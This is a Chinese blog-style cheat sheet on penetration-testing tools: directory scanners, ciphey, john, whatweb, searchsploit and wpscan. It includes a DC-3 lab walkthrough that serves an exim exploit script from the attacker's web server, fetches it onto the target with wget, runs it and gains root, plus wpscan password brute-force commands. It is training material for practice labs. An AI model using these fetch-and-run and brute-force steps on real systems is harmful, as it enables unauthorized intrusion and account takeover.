常用网安渗透工具及命令（扫目录、解密爆破、漏洞信息搜索）

目录

dirsearch：

dirmap：

输入目标

文件读取

ciphey（很强的一个自动解密工具）：

john(破解密码)：

whatweb指纹识别：

searchsploit：

例1：

例2：

例3（DC-3靶场的提权例子）：

wpscan

常用参数

wpscan扫描

感觉扫目录dirmap>dirsearch>御剑，我工具都是按在kali上的，命令也是在kali上使用

dirsearch：

kali下载：

git clone https://github.com/maurosoria/dirsearch.git

忘了要不要先下载python3，不过都学网安了，没下早晚也要下：

sudo apt install python3

常用参数：

  • -w 或 --wordlist: 指定要使用的字典文件路径，用于构建扫描路径。可以使用自定义的字典文件。
  • -r 或 --recursive: 启用递归扫描，递归地扫描子目录。
  • -t 或 --threads: 指定线程数量，控制请求速率。
  • -x 或 --exclude-status: 指定要排除的HTTP状态码，用逗号分隔。例如：301,403。默认情况下，不会排除任何状态码。
  • -b 或 --cookie: 指定请求中要包含的Cookie。
  • -H 或 --header: 指定请求中要包含的其他标头，用冒号分隔键值对。例如：User-Agent:Mozilla/5.0。
  • -a 或 --user-agent: 指定请求中的用户代理标头。
  • --random-agent: 在每个请求中使用随机的用户代理标头。

  • --delay 5：表示每个请求之间延迟5秒。

例1：

dirsearch -u 192.168.120.132 -e * -i 200

只显示状态码200

-i 状态码 #只显示该状态码

-x 状态码 #不显示该状态码

-e * 表示指定要搜索的文件扩展名。在这里使用通配符 * 表示搜索所有类型的文件

例2:

dirsearch.py -u http://example.com -r --delay 5      #递归扫描，每五秒发送一次

例3：

dirsearch -u http://xxxx -r -t 30         #30个线程扫描扫描

例4：

dirsearch -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080        #代理扫

dirmap：

输入目标

单目标，默认为http

python3 dirmap.py -i https://target.com -lcf
python3 dirmap.py -i 192.168.1.1 -lcf

子网（CIDR格式）

python3 dirmap.py -i 192.168.1.0/24 -lcf

网络范围

python3 dirmap.py -i 192.168.1.1-192.168.1.100 -lcf

文件读取

python3 dirmap.py -iF targets.txt -lcf

结果保存：

  1. 结果将自动保存在项目根目录下的output文件夹中

  2. 每一个目标生成一个txt，命名格式为目标域名.txt

  3. 结果自动去重复，不用担心产生大量冗余

ciphey（很强的一个自动解密工具）：

Ciphey - 自动解密工具 ，下载：https://github.com/ciphey/ciphey

kali下载（如果不成功检查一下有没有下python3和pip）：

apt install python3-ciphey

cipher是一种使用智能人工智能的自动解密工具和自然语言处理。输入加密文本，获取解密文本

基本用法: 
ciphey -t "aGVsbG8gbXkgbmFtZSBpcyBiZWU="

参数选项:

  -t, --text TEXT            您想要解密的密文。
  -q, --quiet                减少冗长的显示,直接给结果
  -g, --greppable            只输出答案(对于grep很有用)
  -v, --verbose
  -C, --checker TEXT         使用给定的检查器
  -c, --config TEXT          使用给定的配置文件。默认为
                             appdirs.user_config_dir('ciphey',
                             'ciphey')/'config.yml'
​
  -w, --wordlist TEXT        使用给定的密码字典
  -p, --param TEXT           将参数传递给语言检查器
  -l, --list-params BOOLEAN  列出所选模块的参数
  --searcher TEXT            选择要使用的搜索算法
  -b, --bytes                强制密码使用二进制模式作为输入
  --default-dist TEXT        设置默认的字符/字节分布
  -m, --module PATH          从给定路径添加模块
  -A, --appdirs              输出密码到想要的文件位置
​
  -f, --file FILENAME
  --help                     显示此帮助消息并退出。

john(破解密码)：

先在桌面创建一个文件，将上面的hash密码复制进去并保存，接着使用john指向该文件

john /root/桌面/passwd

img

密码是snoopy

-incremental ：使用遍历模式，就是使用字幕数字等组合密码的所有可能情况，一般不用，太浪费时间。如果你电脑速度够快又有足够的时间，可以来使用这种方式，这是威力最大的方式。

whatweb指纹识别：

kali自带，基本语法：
whatweb -v 192.168.183.147

searchsploit：

是一款kali自带的搜索漏洞信息的模块

   -c, --case     [Term]      区分大小写(默认不区分大小写)
   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
   -h, --help                 显示帮助
   -j, --json     [Term]      以JSON格式显示结果
   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id
   -o, --overflow [Term]      Exploit标题被允许溢出其列
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径（如果可能，还将路径复制到剪贴板），后面跟漏洞ID号
   -t, --title    [Term]      仅仅搜索漏洞标题（默认是标题和文件的路径）
   -u, --update               检查并安装任何exploitdb软件包更新（deb或git）
   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径（在线搜索）
   -x, --examine  [EDB-ID]    使用$ PAGER检查（副本）Exp
       --colour               搜索结果不高亮显示关键词
       --id                   显示EDB-ID
       --nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果（例如：nmap -sV -oX file.xml）
                                使用“-v”（详细）来尝试更多的组合
       --exclude="term"       从结果中删除值。通过使用“|”分隔多个值
                              例如--exclude=“term1 | term2 | term3”。

例1：

searchsploit joomla 3.7.0

当前cms存在SQL注入的漏洞，还有跨站扫描漏洞，我们看一下SQL注入的，该漏洞的完整path是

/usr/share/exploitdb/exploits/php/webapps/42033.txt

拷贝漏洞的详细信息到桌面，cp 要拷贝的文件 拷贝后的文件

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt

在桌面打开该文件

给出了注入点

例2：

找到4.4.x的漏洞 后面对应Privilege Escalation（提权）

searchsploit Ubuntu 16.04

找到对应版本号后面的路径，然后直接查看漏洞路径

searchsploit -p 39772.txt

┌──(kali㉿kali)-[~]
└─$ searchsploit -p 39772.txt
  Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
      URL: https://www.exploit-db.com/exploits/39772
     Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
    Codes: CVE-2016-4557, 823603

复制到桌面：

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/桌面/39772.txt

打开桌面上的39772.txt文件，最后一行附上了exp链接

物理机访问最后一行网址，下载exp解压后是一个叫39772的文件，把文件拖进虚拟机桌面上

例3（DC-3靶场的提权例子）：

可以用exim4提权，先查看exim4版本

    exim4 --version

和上一个靶场一样，这里可以使用searchsploit

    searchsploit exim 4

出来的结果很多，我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞；"Remote Command Ex"表示远程命令执行漏洞；"Denial of Service"表示拒绝服务漏洞等等

先打开Apache服务：

    systemctl start apache2.service

把脚本复制到html下

     cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

Charles用户那边用 wget命令下载这个脚本

    charles@dc-4:/$ wget http://192.168.233.130/46996.sh

但是下载失败，转去/tmp目录下下载

    cd /tmp

    wget http://192.168.233.130/46996.sh

ls -l查看脚本权限，发现没有执行权限，我们需要给脚本加执行权限

    chmod +x 46996.sh

执行脚本：

    ./46996.sh

 然后whoami发现已经为root

具体的DC-3靶场下载及wp：https://blog.csdn.net/2301_76690905/article/details/135050091

wpscan

该扫描器可以实现获取Wordpress站点用户名，获取安装的所有插件、主题，以及存在漏洞的插件、主题，并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。

常用参数
–update 更新到最新版本
–url | -u 要扫描的WordPress站点.
–force | -f 不检查网站运行的是不是WordPress
–enumerate | -e [option(s)] 枚举
wpscan扫描
1、扫描WordPress漏洞、版本、ip等信息
wpscan --url http://www.xxxxx.top/
2、扫描枚举wordpress用户
wpscan --url http://www.xxxxx.top/ --enumerate u
3、扫描主题
wpscan --url http://www.xxxxx.top/ --enumerate t
4、扫描插件漏洞
wpscan --urlhttp://www.xxxxx.top/ --enumerate p
5、使用WPScan进行暴力破解在进行暴力破解攻击之前，我们需要创建对应的字典文件。输入下列命令：
wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt
6、暴力破解用户密码
wpscan --url dc-2 user.txt -P passwd.txt
7、wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force

  • --ignore-main-redirect：该参数可用于忽略网站中可能存在的主要的页面重定向，以确保扫描结果的准确性。

  • --url：该参数用于指定要扫描的 WordPress 网站的 URL 地址。在本例中，扫描的目标是位于本地网络中的地址为 "192.168.1.8" 的 WordPress 网站。

  • --enumerate u：该参数用于枚举所有的 WordPress 用户，以便查看是否存在弱密码或其他安全风险。

  • --force：该参数用于在可能存在风险的情况下，仍然尝试对目标进行攻击和渗透测试。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/253080.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

no module named ‘xxx‘

no module named ‘xxx‘

目录结构如下 我想在GCNmodel的model里引入layers的GraphConvolution：from GCNmodel.layers import GraphConvolution，但这样却报错no module named GCNmodel，而且用from layers import GraphConvolution也不行。然后用sys.path.appen(xxx)…
阅读更多...
MySQL数据库，表的增量备份与恢复

MySQL数据库，表的增量备份与恢复

1. 从物理与逻辑的角度 数据库备份可以分为物理备份和逻辑备份。物理备份是对数据库操作系统的物理文件（如数据 文件，日志文件等）的备份。这种类型的备份适用于在出现问题时需要快速恢复的大型重要数据库。 物理备份又可以分为冷备份&#xf…
阅读更多...
Redis Cluster集群搭建 三主三从

Redis Cluster集群搭建 三主三从

Redis包下载 Linux： http://download.redis.io/releases/ Mac or Windows: https://redis.io/download/ 2.下载后解压进入文件夹（本次我的Redis版本是6.2.14版本） /redis/redis-6.2.14 开始安装 make instarll修改配置文件复制redis.conf 6…
阅读更多...
Ubuntu 常用命令之 chmod 命令用法介绍

Ubuntu 常用命令之 chmod 命令用法介绍

chmod是Linux系统下的一个命令，用于改变文件或目录的权限。它的名称是“change mode”的缩写。在Linux中，文件或目录的权限分为读（r）、写（w）和执行（x）三种，分别对应数字4…
阅读更多...
Python redis安装使用教程

Python redis安装使用教程

一、项目环境 Python 3.8.xredis-5.0.14 二、Redis 安装 下载地址：https://github.com/tporadowski/redis/releases 下载 Redis-x64-xxx.zip压缩包到你要安装的文件夹，解压即可 三、使用redis 打开一个 cmd 窗口，使用 cd 命令切换redis…
阅读更多...
（5）shell命令以及Linux的权限

（5）shell命令以及Linux的权限

写在前面 本章我们将重点讲解 Linux 权限，这是 Linux 基础部分中非常重要的一部分。内容比较干，我会稍稍正经些去讲解。话不多说，我们直接切入正题。 shell 命令及运行原理 严格意义上说的是一个操作系统，我们称之为 —— &…
阅读更多...
MDK编译过程和文件类型

MDK编译过程和文件类型

MDK是一款IDE软件，具有，编辑，编译，链接，下载，调试等等的功能。 1.编译器介绍： MDK可以编译C/C文件和汇编文件，MDK只是一款IDE软件，那他内部使用的是什么编译器呢&#x…
阅读更多...
【已解决】Java zip解压时候 malformed input off : 4, length : 1

【已解决】Java zip解压时候 malformed input off : 4, length : 1

需求：通过页面上传ZIP文件后，对zip文件进行解压。 遇到的错误：在进行zip解压的时候错误如下： 先看报错前的： /*** 解压缩ZIP文件* param zipFile ZIP文件* param destDir 目标路径*/ public static void zipDecompre…
阅读更多...
HIVE窗口函数

HIVE窗口函数

什么是窗口函数 hive中开窗函数通过over关键字声明；窗口函数，准确地说，函数在窗口中的应用；比如sum函数不仅可在group by后聚合，在可在窗口中应用； hive中groupby算子和开窗over，shuffle的逻辑…
阅读更多...
时序数据库选型TimescaleDB

时序数据库选型TimescaleDB

最近要做一个数字车间的物联网项目，数据存储成了首先要解决的问题，整个车间一共104台数控机床，1s钟采集1次数据，360024365*1043,279,744,000 ，一年要产生32亿条记录，这个数据量用常见的关系型数据库肯定是不…
阅读更多...
phpMyAdmin的常见安装位置

phpMyAdmin的常见安装位置

nginx的日志显示有人一直在尝试访问phpMyAdmin的setup.php，用了各种位置。 其实我只有一个nginx，别的什么也没有。 47.99.136.156 - - [01:44:37 0800] "GET http://abc.com:80/phpMyAdmin/scripts/setup.php HTTP/1.0" 404 162 "-"…
阅读更多...
新建vue3项目

新建vue3项目

三种方法 一. 第一种方式 1、操作步骤： 创建项目目录 vue create 项目名称选择配置方式 ? Please pick a preset: #选择一个配置 Default （[Vue 3] babel, eslint）Default （[Vue 2] babel, eslint）Manually select …
阅读更多...
wordpress安装之正式开始安装wordpress

wordpress安装之正式开始安装wordpress

1、拉取wordpress镜像 docker pull wordpress 2、启动容器 启动容器，设置容器名为wordpress2并把80端口映射到宿主机的9988端口 docker run -it --name wordpress2 -p 9988:80 -d wordpress 3、查看容器状态 docker ps 4、安装wordpress博客程序 因为我们前面启…
阅读更多...
「斗破年番」小医仙黑皇城遭调戏，五品丹换药材，获取菩提涎消息

「斗破年番」小医仙黑皇城遭调戏，五品丹换药材，获取菩提涎消息

Hello,小伙伴们，我是拾荒君。 《斗破苍穹年番》的第75集已经更新了，喜欢这部国漫的小伙伴应该都去观看了吧，拾荒君也是看了看这一集。在这一集中，萧炎成功地帮助吴昊等人摆脱了鹰爪老人的围困，然后便前往了黑皇城。 黑…
阅读更多...
【JAVA-Day65】Java内部类深度解析

【JAVA-Day65】Java内部类深度解析

Java内部类深度解析 《Java内部类深度解析》摘要引言一、理解内部类1. 内部类的基本概念和语法1.1 什么是内部类？1.2 内部类的语法结构1.3 内部类的基本概念 2. 不同类型的内部类详解2.1 成员内部类2.2 静态内部类2.3 局部内部类2.4 匿名内部类 二、内部类与普通类的…
阅读更多...
FL Studio2024破解版注册机及使用教程

FL Studio2024破解版注册机及使用教程

FL Studio 2024破解版是一款非常实用的软件。该软件用于不同的目的，例如从音频中删除人声、管理音频以及更改不同的音频属性。此外，您还可以查看音频和歌曲的不同效果并管理其音量和大小。您还可以管理音乐和音频的自动化。您可以用它创作一首具有不同音…
阅读更多...
深入理解——快速排序

深入理解——快速排序

目录 💡基本思想 💡基本框架 💡分割方法 ⭐Hoare版本 ⭐挖坑法 ⭐前后指针法 💡优化方法 ⭐三数取中法 ⭐小区间内使用插入排序 💡非递归实现快速排序 💡性能分析 💡基本思想 任取待排…
阅读更多...
LeedCode刷题---滑动窗口问题(二)

LeedCode刷题---滑动窗口问题(二)

顾得泉：个人主页 个人专栏：《Linux操作系统》 《C/C》 《LeedCode刷题》 键盘敲烂，年薪百万！ 一、将X减到0的最小操作数 题目链接：将 x 减到 0 的最小操作数 题目描述 给你一个整数数组 nums 和一个整数 x 。每一…
阅读更多...
函数和函数表达式

函数和函数表达式

我们先来看三个式子 1️⃣ yf(x) 2️⃣ f(x)2x1 3️⃣ y2x1 先来明确一下概念，这三个式子的🟰两边总共有3种表达形式 y是函数最终输出的值f(x) 是整个函数运算过程2x1是具体的表达式 那么这三个式子分别是什么意思呢？ yf(x)是对函数关系的…
阅读更多...
一个简单的光线追踪渲染器

一个简单的光线追踪渲染器

前言 本文参照自raytracing in one weekend教程，地址为：https://raytracing.github.io/books/RayTracingInOneWeekend.html 什么是光线追踪？ 光线追踪模拟现实中的成像原理，通过模拟一条条直线在场景内反射折射，最终…
阅读更多...
最新文章

Copyright @ 2022~2023